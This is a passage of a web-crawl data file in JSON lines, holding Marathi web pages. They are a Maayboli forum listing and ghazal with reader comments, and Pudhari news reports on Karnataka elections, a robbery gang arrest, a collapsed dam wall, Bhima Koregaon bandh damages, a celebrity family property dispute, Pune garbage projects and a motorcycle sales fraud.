(Pclive7.com):- राष्ट्रवादी काँग्रेसचे अध्यक्ष शरद पवार यांच्या वाढदिवसानिमित्त पिंपरी चिंचवड शहर जिल्ह्यातील युवकांसाठी राष्ट्रवादी युवक काँग्रेस तर्फे सदस्य नोंदणी अभियान सुरू करण्य...\tRead more\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00314.warc.wet.gz", "language": "mr", "language_score": 0.93, "bucket": "all"} {"url": "https://dk5wv51hv3hj1.cloudfront.net/top20forall", "date_download": "2018-09-25T17:36:35Z", "digest": "sha1:QWNFDKFVNYFCMHNU2CCVQWGFV7KWBROA", "length": 4147, "nlines": 79, "source_domain": "dk5wv51hv3hj1.cloudfront.net", "title": "मायबोलीवरचं, सध्याचं लोकप्रिय लेखन | Maayboli", "raw_content": "\nमायबोलीचे मोबाईल अ‍ॅप (अँड्रोईड + आयओएस) सर्वांसाठी उपलब्ध आहे.\nYou are here: मुख्यपृष्ठ /नवीन लेखन /मायबोलीवरचं, सध्याचं लोकप्रिय लेखन\nमायबोलीवरचं, सध्याचं लोकप्रिय लेखन\nस्कॅन केलेली जुनी मराठी पुस्तके 219\nमायबोलीवरचे धम्माल धागे - संकलन 126\nस्तोत्रे, श्लोक, प्रार्थना यांचा संग्रह 107\nमायबोलीवरील थरारकथा - संकलन 78\nगझल परिचय - पार्श्वभूमी, दृष्टिकोन, तंत्र व आशय 70\n इथे माहिती मिळेल. 66\nरोज रोज जेवायला काय करू \nनॅचरल्स आइस्क्रीम आता घरच्या घरी 57\nमासे/मटण/चिकन/अंडी फॅन क्लब 56\nपाककृती आणि आहारशास्त्र 56\nवजन कसे कमी केले - एक स्वानुभव \nसॅलड, कोशिंबिरी, रायते फॅन क्लब 44\nमराठी उद्योजकः सभासदत्व कसे मिळवावे 43\nमाझी लुंगी खरेदी - पुण्यातल्या दुकानातुन..... 43\nगुलमोहर - कथा/कादंबरी 42\nनवीन खाते उघडून मायबोलीकर व्हा\nनवीन परवलीचा शब्द मागवा\nस्थापना : गणेश चतुर्थी, सप्टेंबर १६, १९९६. प्रताधिकार १९९६-२०१८ मायबोली. सर्व हक्क स्वाधीन. वापराचे/वावराचे नियम\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00314.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "https://www.maayboli.com/node/64963", "date_download": "2018-09-25T18:13:48Z", "digest": "sha1:32RCFVOI27X6NZMTEPRG3XTGWR5BVCXR", "length": 6033, "nlines": 126, "source_domain": "www.maayboli.com", "title": "आवरू केव्हातरी सारा पसारा | Maayboli", "raw_content": "\nमायबोलीचे मोबाईल अ‍ॅप (अँड्रोईड + आयओएस) सर्वांसाठी उपलब्ध आहे.\nYou are here: मुख्यपृष्ठ /आवरू केव्हातरी सारा पसारा\nआवरू केव्हातरी सारा पसारा\nगझल - आवरू केव्हातरी सारा पसारा\nमासळी बाजार मेंदूचा किनारा\nआवरू केव्हातरी सारा पसारा\nपावसाळी व्हायचे होतेस थोडे\nकोणत्या मोराकडे नसतो पिसारा\nमखमली होता तरीही बोचला तो\nहा तुझ्या तिकडून आला काय वारा\nशेकडो सामील ह्या मोर्च्यात झाले\nवेगळा प्रत्येकजण देतोय नारा\nआमचा चांगुलपणा बंदिस्त आहे\nइंग्रजांचा आजही आहे पहारा\nमोकळे कोणासही होऊ न देती\nपापण्यांवरती जरा डोळे उगारा\nपाहवेना शांतता भवतालची ही\nथोर नेत्यांचे इथे पुतळे उभारा\nकारवाई नेमकी होणार केव्हा\nवाचतो दररोज मी नुसता इशारा\nकाढ कर्जे, बार उडवू, देत हुंडे\nशेवटी होतोच कोरा सातबारा\nशोध घ्या, हुडका वगैरें म्हणत नाही\nफक्त मी दिसलो कुठे तर हाक मारा\nआवरू केव्हातरी सारा पसारा\nमला पण अख्खि गझल खूप आवडली.\nमला पण अख्खि गझल खूप आवडली.\nशेवटचा शेर खूप-खूप आवडला\nसगळेच्या सगळे शेर आवडले \nसगळेच्या सगळे शेर आवडले \n खरंच सारे शेर ,,\n खरंच सारे शेर ,,,सव्वाशेर आहेत\nनवीन खाते उघडून मायबोलीकर व्हा\nनवीन परवलीचा शब्द मागवा\nया ग्रूपचे सभासद व्हा\nस्थापना : गणेश चतुर्थी, सप्टेंबर १६, १९९६. प्रताधिकार १९९६-२०१८ मायबोली. सर्व हक्क स्वाधीन. वापराचे/वावराचे नियम\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00314.warc.wet.gz", "language": "mr", "language_score": 0.85, "bucket": "all"} {"url": "http://www.pudhari.news/news/Belgaon/BJP-ready-to-segregate-the-bastion-of-Congress/", "date_download": "2018-09-25T16:57:31Z", "digest": "sha1:ZJXXP43Z4A2TY2G4A37522JKOLF52GWG", "length": 7632, "nlines": 36, "source_domain": "www.pudhari.news", "title": " काँग्रेसचा बालेकिल्‍ला भेदण्यास भाजप सज्ज | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Belgaon › काँग्रेसचा बालेकिल्‍ला भेदण्यास भाजप सज्ज\nकाँग्रेसचा बालेकिल्‍ला भेदण्यास भाजप सज्ज\nकाँग्रेसचा बालेकिल्‍ला म्हणून परिचित असलेल्या यादगिरी जिल्ह्यात सर्व जागा जिंकण्यासाठी भाजपकडून जोरदार तयारी केली जात आहे. गत निवडणुकीत सुरपूर, यादगिरी, गुरूमिठकल येथे काँग्रेसने बाजी मारली होती. यंदा पक्षातील सर्व मतभेद बाजूला ठेवून भाजपने संघटना मजबूत केली असून काँग्रेसला याचा धोका निर्माण झाल्याची चर्चा आहे.सुरवातीपासूनच यादगिरी मतदारसंघात काँग्रेसचे वर्चस्व आहे. काँग्रेसतर्फे आमदार डॉ. ए. बी. मालकरड्डी येथून सहाव्यांदा रिंगणात आहेत. 2008 आणि 2013च्या निवडणुकीत विजय मिळवून आता हॅट्ट्रिकची तयारी ते करत आहेत. भाजपतर्फे व्यंकटरड्डी मुदनाळ रिंगणात आहेत. गत निवडणुकीत त्यांनी गुरूमिठकल मतदारसंघातून निवडणूक लढवून केवळ काहीच मतांनी पराभव स्वीकारला होता. निजदने अल्पसंख्याक नेते ए. सी. कोडलूर यांना उमेदवारी दिली आहे. मतदारसंघात मुस्लीम मते अधिक असल्याने याचा निजदला फायदा होऊ शकतो.\nमल्‍लिकार्जुन खर्गे यांचा हा मतदारसंघ असणार्‍या गुरूमिठकलमध्ये काँग्रेस आणि निजदमध्ये लढाई आहे. आमदार बाबुराव चिंचणसूर पुन्हा एकदा काँग्रेस उमेदवार म्हणून रिंगणात आहेत. निजदतर्फे नागनगौडा कंदकूर, भाजपतर्फे कोली समाजातील सायबण्णा बोरबंड रिंगणात आहेत. गेल्या 50 वर्षांपासून येथे काँग्रेसचे वर्चस्व आहे. मल्‍लिकार्जुन खर्गे यांचा हा मतदारसंघ असून यंदा भाजपने कोणत्याही कारणास्तव मतदारसंघात बदल घडविण्याचा पण केला आहे. त्याला कितपत यश मिळते, ते निकालानंतरच समजेल.\nसुरपूरमध्ये दरवेळी अटीतटीची निवडणूक होते. पक्षापेक्षा व्यक्‍तीचा प्रभाव येथे महत्त्वाचा आहे. काँग्रेसतर्फे आमदार राजा व्यंकटप्पा नायक, भाजपतर्फे माजी मंत्री नरसिंह नायक (राजूगौडा) रिंगणात असून निजदने राजा कृष्णन नायक यांना उमेदवारी दिली आहे. काँग्रेस आणि भाजपमध्ये थेट लढत होण्याची शक्यता आहे. निजदचे कृष्णप्पा नायक यांना मिळणार्‍या मतावर भाजप आणि काँग्रेसचा विजय अवलंबून आहे.दोन राजकीय घराण्यांमध्ये नेहमीच प्रतिष्ठेची बनलेल्या शहापुरात तिरंगी लढत शक्य आहे. काँग्रेसचा त्याग करून निजदमध्ये प्रवेश केलेले अमीनरड्डी याळगी रिंगणात आहेत. आमदार गुरू पाटील भाजपतर्फे आणि आमदार शरणबसप्पगौडा दर्शनापूर काँग्रेसतर्फे रिगणात आहेत. अमीनरड्डी यांनी मतदारसंघात लोकसंपर्क वाढविल्याने दोन्ही राष्ट्रीय पक्षांसाठी ते आव्हान बनले आहेत.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00315.warc.wet.gz", "language": "mr", "language_score": 1.0, "bucket": "all"} {"url": "http://www.pudhari.news/news/Belgaon/Mandya-the-robbery-gang/", "date_download": "2018-09-25T17:42:09Z", "digest": "sha1:32M7A4ZZWUFGYY7H5JACODFISSGUK76V", "length": 5480, "nlines": 49, "source_domain": "www.pudhari.news", "title": " दरोडेखोरांच्या टोळीत व्याख्याता | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Belgaon › दरोडेखोरांच्या टोळीत व्याख्याता\nपोलिसांनी दरोडे घालणार्‍या एका 13 जणांच्या टोळीला अटक केली असून त्यामध्ये एका अतिथी व्याख्यात्याचा व एका सरकारी कर्मचार्‍याचा समावेश आहे. मंड्या शहराबाहेर एका ठिकाणी दरोडा घालण्याच्या तयारीत असलेल्या टोळीला पोलिसांनी शिताफिने अटक केली. या टोळीने जिल्ह्यामध्ये अनेक ठिकाणी दरोडे घातले असून त्या घटनांमध्ये खूनही केले आहेत. अटक केलेल्यांमध्ये मोरारजी देसाई महाविद्यालयातील एका अतिथी व्याख्यात्याचा समावेेेश आहे.\nतर मंड्या पशुवैद्यकीय इस्पितळातील कर्मचारी के.आर.कार्तिक, ए.अनिलगौडा, राघवेंद्र, एच.व्ही.राजेश, रिजवान पाशा, एन.मनु, एम.के.शिवराजू, बी.निंगेगौडा, डी.एम.नितीन, एम.श्रेयस, योगेश व बेनेडिक्ट यांचा समावेश आहे. या टोळीचे वैशिष्ठ्य म्हणजे शहराबाहेरील घरामध्ये दरोडे घालून लूट करणे व रात्रीच्यावेळी बंगळूर, म्हैसूर महामार्गावर वाहने अडवून लूट करणे, दरोडा घालताना कोणी विरोध केला तर त्यांचा ते खूनही करीत होते. त्यांच्याकडून पोलिसांनी 1 मारूती कार, 1टोयोटा कार, 4 मोटारसायकली व शस्त्रे जप्त केली आहेत.\nबेळगाव, खानापुरात एसीबी छापे\nअंकोल्याच्या वनाधिकार्‍यासह राज्यात 11 अधिकार्‍यांवर धाडी\nअनधिकृत बांधकाम पाहणी; अधिकार्‍यांची भंबेरी\nतालुका आरोग्याधिकारी, आशा कार्यकर्त्या टार्गेट\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00315.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Marathwada/bund-wall-collapsed-before-it-was-completed/", "date_download": "2018-09-25T17:52:49Z", "digest": "sha1:ASTJSJHXYYEYIJYAWJI3ZDFTLR2X3DPG", "length": 5644, "nlines": 36, "source_domain": "www.pudhari.news", "title": " बंधार्‍याची भिंत पूर्ण होण्यापूर्वीच कोसळली | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Marathwada › बंधार्‍याची भिंत पूर्ण होण्यापूर्वीच कोसळली\nबंधार्‍याची भिंत पूर्ण होण्यापूर्वीच कोसळली\nजलयुक्‍त शिवार योजनेंतर्गत पाथरी तालुक्यातील बोरगव्हाण येथे चार सिमेंट बंधार्‍याची कामे केली जात असून, काम पूर्ण होण्याअगोदरच एका बंधार्‍याची भिंत कोसळल्याने जलयुक्त शिवार योजनेच्या कामावर प्रश्नचिन्ह निर्माण झाले आहे. निकृष्ट कामामुळे हा प्रकार घडला आहे. विशेष म्हणजे दोन दिवसांपूर्वीच येथील बंधार्‍याच्या दुसर्‍या कामाला जिल्हाधिकारी पी.शिवशंकर यांनी भेट दिली होती.\nजिल्हा परिषद लघुसिंचन उपविभाग जिंतूर अंतर्गत पाथरी तालुक्यातील बोरगव्हाण येथे 2016 - 17 या वर्षात चार सिमेंट बंधारे मंजूर झाले होते. चार बंधार्‍यांवर खर्चासाठी साधारणतः 52 लाख रुपये निधीची तरतूद करण्यात आली होती. येथील चारपैकी दोन बंधार्‍यांचे काम पूर्ण झाले आहे. एका बंधार्‍याचे अंदाजपत्रक साधारणतः 13 लाख रुपयांपेक्षा अधिक आहे. 26 लाख रुपये खर्च करून उर्वरित दोन बंधार्‍याचे काम केले जात आहे. बंधार्‍याचे काम अद्याप पूर्ण झाले नाही, असे असताना बोरगव्हाण गावच्या वरच्या बाजूने सुरू असलेल्या एका बंधार्‍याची भिंत 22 मे रोजी अचानक कोसळली. तुटून पडलेल्या भिंतीत दगडाचा थर दिसत असल्याने हे काम किती निकृष्ट होत आहे हे दिसून येत आहे. पावसाळ्यापूर्वी कामे उरकून घेण्याचा हा प्रकार दिसून येत आहे.\nया कामाची चौकशी करण्यात यावी, अशी मागणी बोरगव्हाण येथील सरपंच मुंजा धोत्रे, उपसरपंच विठ्ठल कदम, ग्रामपंचायत सदस्य केशव खुडे, दिनकर कदम, दिनकर इंगळे, माणिक इंगळे यांनी केली आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00315.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Mumbai-Thane-Raigad/Bhima-Koregaon-band-Mumbais-losses-to-88-lakh/", "date_download": "2018-09-25T17:03:01Z", "digest": "sha1:BPXCIT6R4YNBYS5AF5ZSG2IETN5JGFCW", "length": 4363, "nlines": 34, "source_domain": "www.pudhari.news", "title": " कोरेगाव भीमा बंदमध्ये मुंबईतील नुकसान ८८ लाखांचे | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Mumbai-Thane-Raigad › कोरेगाव भीमा बंदमध्ये मुंबईतील नुकसान ८८ लाखांचे\nकोरेगाव भीमा बंदमध्ये मुंबईतील नुकसान ८८ लाखांचे\nमुंबई : पुढारी वृत्तसेवा\nभीमा कोरेगाव दंगलीनंतर भारीप बहुजन महासंघाचे नेते अ‍ॅड. प्रकाश आंबेडकर यांनी पुकारलेल्या बंद दरम्यान 2 आणि 3 जानेवारी रोजी मुंबईत सरकारी व खासगी वाहनांचे मिळून तब्बल 88 लाख रुपयांचे नुकसान झाल्याचा अहवाल पोलिसांनी तयार केला आहे. पुढील आठवड्यात तो उपनगर जिल्हाधिकार्‍यांना सादर केल्यानंतर नुकसान भरपाईची कारवाई सुरू होईल.\n2009 च्या सुप्रीम कोर्टाच्या निकालानुसार बंददरम्यान झालेल्या तोडफोडीची भरपाई बंद पुकारणार्‍यांकडून करायची आहे. त्यासाठी बंदच्या आयोजकांची मालमत्ता जप्‍त करण्याचे अधिकारही जिल्हाधिकार्‍यांना आहेत. मुंबईत ही भरपाई कशी वसूल केली जाते याबद्दल कमालीची उत्सुकता आहे. मुंबईचे उपनगर जिल्हाधिकारी दीपेंद्र सिंग खुशवाह यांनी सांगितले की, पोलीस अहवाल आल्यानंतर नुकसान भरपाईच्या वसुलीसाठी खास तहसीलदार नेमला जाईल.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00315.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Mumbai-Thane-Raigad/dispute-between-late-actor-nirupa-roys-two-sons-over-her-nepean-sea-road-apartment-took-n-ugly/", "date_download": "2018-09-25T16:52:48Z", "digest": "sha1:GLBHKC2TIDH6TRJMIMMUQEHQXK254U6Q", "length": 5516, "nlines": 38, "source_domain": "www.pudhari.news", "title": " निरुपा रॉय यांच्या मुलांचा संपत्तीचा वाद विकोपाला | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Mumbai-Thane-Raigad › निरुपा रॉय यांच्या मुलांचा संपत्तीचा वाद विकोपाला\nनिरुपा रॉय यांच्या मुलांमध्ये संपत्तीवरून ‘दिवार’\nमुंबई : पुढारी ऑनलाईन\nबॉलिवूडची ‘माँ’ निरुपा रॉय यांच्या नेपियन सी रोडवरील घरावरून त्यांच्या दोन मुलांमध्ये वाद निर्माण झाला आहे. निरुपा रॉय यांना योगेश आणि किरण ही दोन मुले आहेत. त्यांच्यामधला संपत्तीवरुन वाद इतका विकोपाला गेला आहे की आता पोलिस कारवाई होण्याची शक्यता आहे.\nमाझा मोठा भाऊ योगेशने मध्यरात्री दारूच्या नशेत मला मारहाण केली, अशी तक्रार किरणने मलबार हिल स्टेशन पोलिसांत केली आहे. रात्री ११ च्या सुमारास किरणने फोनद्वारे ही माहिती पोलिसांना कळवळी आहे.\n‘योगेशने माझ्या घरात घुसून गलिच्छ भाषेत बोलण्यास सुरूवात केली. माझ्या घराच्या खिडक्याही तोडल्या तसेच माझ्या पत्नीला धक्काबुक्की केली व मलाही मारहाण केली, यानंतर मी मुलांसह एका रूममध्ये स्वत:ला बंद करून घेतले’, असे किरणने सांगितले.\nयोगेशने धाकट्या भावाचे आरोप फेटाळून लावताना म्हटले आहे की,‘किरण मला त्रास देण्यासाठी सतत त्याच्या घराचे लाईट आणि एसी सुरू ठेवतो. कारण त्यांचे बिल मी भरतो. मी त्याच्या पत्नीला मारहाण केलेली नाही’\nकिरण आणि योगेश ग्राऊंड फ्लोअरला चार बेडरूम असलेल्या घरात राहतात. हे घर निरूपा रॉय यांनी १९६३ मध्ये १० लाखाला खरेदी केले होते. सध्या या घराची किंमत १०० कोटी इतकी सांगितली जात आहे. या घराच्या आवारात मोठा बगिचा देखील आहे. निरुपा रॉय यांच्या पतीच्या निधनांनंतर मुलांमध्ये हा वाद वाढला आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00315.warc.wet.gz", "language": "mr", "language_score": 1.0, "bucket": "all"} {"url": "http://www.pudhari.news/news/Pune/The-gateway-to-Pune-is-the-garbage-area/", "date_download": "2018-09-25T16:54:08Z", "digest": "sha1:AYL4GVNFQ7F3AWFWSEAJ5VFIRDXQRSAB", "length": 9263, "nlines": 39, "source_domain": "www.pudhari.news", "title": " पुण्याचे प्रवेशद्वार होतेय कचर्‍याचे माहेरघर | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Pune › पुण्याचे प्रवेशद्वार होतेय कचर्‍याचे माहेरघर\nपुण्याचे प्रवेशद्वार होतेय कचर्‍याचे माहेरघर\nमुंढवा ः नितीन वाबळे\nशहरामध्ये रोज सुमारे अठराशे टन इतका कचरा तयार होतो. त्यापैकी दीड हजार टन कचरा रामटेकडी येथे आणला जाणार आहे, तर कॅन्टोन्मेंट हद्दीमधील 40 ते 50 टन कचरा हडपसर औद्योगिक वसाहतीमध्ये आणला जात आहे. पालिकेचे कचरा हस्तांतरण केंद्र, कॅन्टोन्मेंटचा कचरा डेपो, कॅन्टोन्मेंटचा गांडूळ खत प्रकल्प, रोकेम कचरा प्रकल्प, दिशा, नव्याने सुरू होत असलेला रामटेकडीमधील कचरा प्रकल्प अशी कचरा प्रकल्पांची मालिकाच हडपसर परिसरात सुरू झाली आहे. प्रत्येक प्रकल्पावर काय परिस्थिती आहे आणि त्याचा नागरिकांना काय त्रास होत आहे याचा दै.‘पुढारी’ने घेतलेला आढावा...\nराष्ट्र सेवा दलाची भूमी, पुणे शहरासह मुंबईला भाजीपाला पुरविणारे ठिकाण अशी ओळख तसेच अलिकडील काळात मगरपट्टा सिटी व अमनोरा सिटीमुळे जगाच्या नकाशावर हडपसरचे नाव झळकत आहे. मात्र, आता वेगळ्याच नावाने म्हणजे शहरातील कचर्‍याचे माहेरघर म्हणून हडपसरचे नाव जगात झळकणार आहे की काय असा सवाल नागरिकांनी उपस्थित केला आहे.\nपुण्याचे प्रवेशद्वार म्हणून ओळखल्या जाणार्‍या हडपसरची ओळख पुसून कचराडेपोंची वसाहत अशी होतेय की काय, अशी चर्चा नागरिकांमध्ये सुरू आहे. उरूळी देवाची-फुरसुंगी, रामटेकडी, हडपसर औद्योगीक वसाहत आदी परिसरात कचरा डेपो आणि प्रकल्प आहेत. रामटेकडी येथे नव्याने एक प्रकल्प उभा राहत आहे. या प्रकल्पाच्या उभारणीपासून स्थानिक नागरिक व भाजप वगळता सर्व पक्षीय नगरसेवकांनी या प्रकल्पाला तीव्र विरोध केला. मात्र, पालिका प्रशासनाने याची कोणतीही दखल न घेता विरोधाकडे दुर्लक्ष करीत या प्रकल्पाचे काम सुरूच ठेवले.\nमागील अनेक वर्षांपासून शहरातील विविध ठिकाणाहून गोळा केलेल्या कचर्‍याची ने-आण सोलापूर रस्त्याने होत आहे. त्यामुळे या रस्त्यावरील वाहतूक कोंडीत भर पडत आहे. कचर्‍याच्या दुर्गंधीचा मानवी आरोग्यावर परिणाम होत असल्याने कचरा प्रकल्पांना नागरिकांचा विरोध वाढत आहे. उरूळी देवाची व रामटेकडी येथील नारिकांना कचर्‍याचा होणारा त्रास आणि त्यासाठी त्यांनी केलेली आंदोलने सर्वज्ञात आहेत.\nमागील पंचवीस वर्षांपासून उरूळी देवाची-फुरसुंगी येथे शहरातील कचरा आणून टाकला जात आहे. येथे कचरा टाकायला सुरवात केल्यानंतर दोन-तीन वर्षांच्या काळातच कचर्‍याचे मानवी आरोग्यावर होणारे दुष्परिणाम समोर येऊ लागल्याने स्थानिक नागरिकांचा विरोध वाढत गेला. येथील नागरिकांनी तीव्र आंदोलनाचा पवित्रा घेतल्याने पालिका प्रशासनाला त्यापुढे झुकावे लागले व येथील कचरा रामटेकडी परिसरात आणण्याचे नियोजन सुरू झाले.\nरामटेकडी येथील नव्याने कचरा प्रकल्पाचे काम सुरू होताच भाजप वगळता स्थानिक नागरिक व सर्वच पक्षाच्या नगरसेवकांनी आंदोलनाचा पवित्रा घेतला. मात्र, पालिका प्रशासनाने याची किंचीतही दखल घेतली नाही. त्यामुळे येथे रोकेमचा साडेसातशे टन व नव्याने होत असलेल्या कचरा प्रकल्पावर सातशे टन असा पूर्ण शहरातून सुमारे दीड हजार टन कचरा भविष्यात येथे येणार आहे. त्यामुळे प्रकल्प सुरू झाल्यावर नागरिक काय भूमिका घेतात आणि प्रशासन त्याला काय उत्तर देते याविषयी नागरिकांमध्ये ऊलटसुलट चर्चा सुरू आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00315.warc.wet.gz", "language": "mr", "language_score": 1.0, "bucket": "all"} {"url": "http://www.pudhari.news/news/Sangli/Bait-to-give-cheap-bikes-Fraud-of-27-lakh-rupees/", "date_download": "2018-09-25T17:28:10Z", "digest": "sha1:MRQPVUHH2GGVQW4W4DYMCUNKRR5VMR4H", "length": 4724, "nlines": 34, "source_domain": "www.pudhari.news", "title": " इस्लामपुरातील भामट्याकडून 27 लाख रुपयांचा गंडा? | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Sangli › इस्लामपुरातील भामट्याकडून 27 लाख रुपयांचा गंडा\nइस्लामपुरातील भामट्याकडून 27 लाख रुपयांचा गंडा\nकमी वेळेत व स्वस्तात दुचाकी वाहने देण्याचे आमिष दाखवत सुमारे 27 लाख रुपयांच्या फसवणुकीचा प्रकार एकाने केला. संशयित शकील रसूल ढलाइत (रा. इस्लामपूर, जि. सांगली) याने पोबारा केला आहे.सिंधुदुर्गसह कोल्हापूर, सांगली, पुणे आदी शहरांतील लोकांना त्याने फसविले आहे.\nया बाबतची तक्रार सिंधुदुर्गनगरी पोलिस ठाण्यात दाखल झाली आहे. पोलिसांनी शकील ढलाइत याच्याविरोधात गुन्हा दाखल केला असून संबंधित संशयित आरोपीचा सिंधुदुर्ग पोलिस कसून शोध घेत आहेत. ढलाइत याने कोल्हापूर, सांगली, पुणे आणि सिंधुदुर्ग या जिल्ह्यामधील लोकांना शोरूम मधून कमी वेळेत आणि स्वस्त किंमतीत दुचाकी वाहने घेऊन देण्याचे आमिष दाखवत सुमारे 27 लाख रुपयांवर लोकांची फसवणूक केली आहे. हा प्रकार 2 फेब्रुवारी 2016 ते 19 एप्रिल 2016 या कालावधीत घडला असून या आमिषाला जिल्ह्यातील बरेचजण बळी पडले आहेत. संबंधित संशयित कुणास आढळून आल्यास जिल्हा पोलिसांना माहिती द्यावी, असे आवाहन आर्थिक गुन्हा शाखेचे पोलिस उपअधीक्षक एन. टी. मोरे यांनी केले आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार 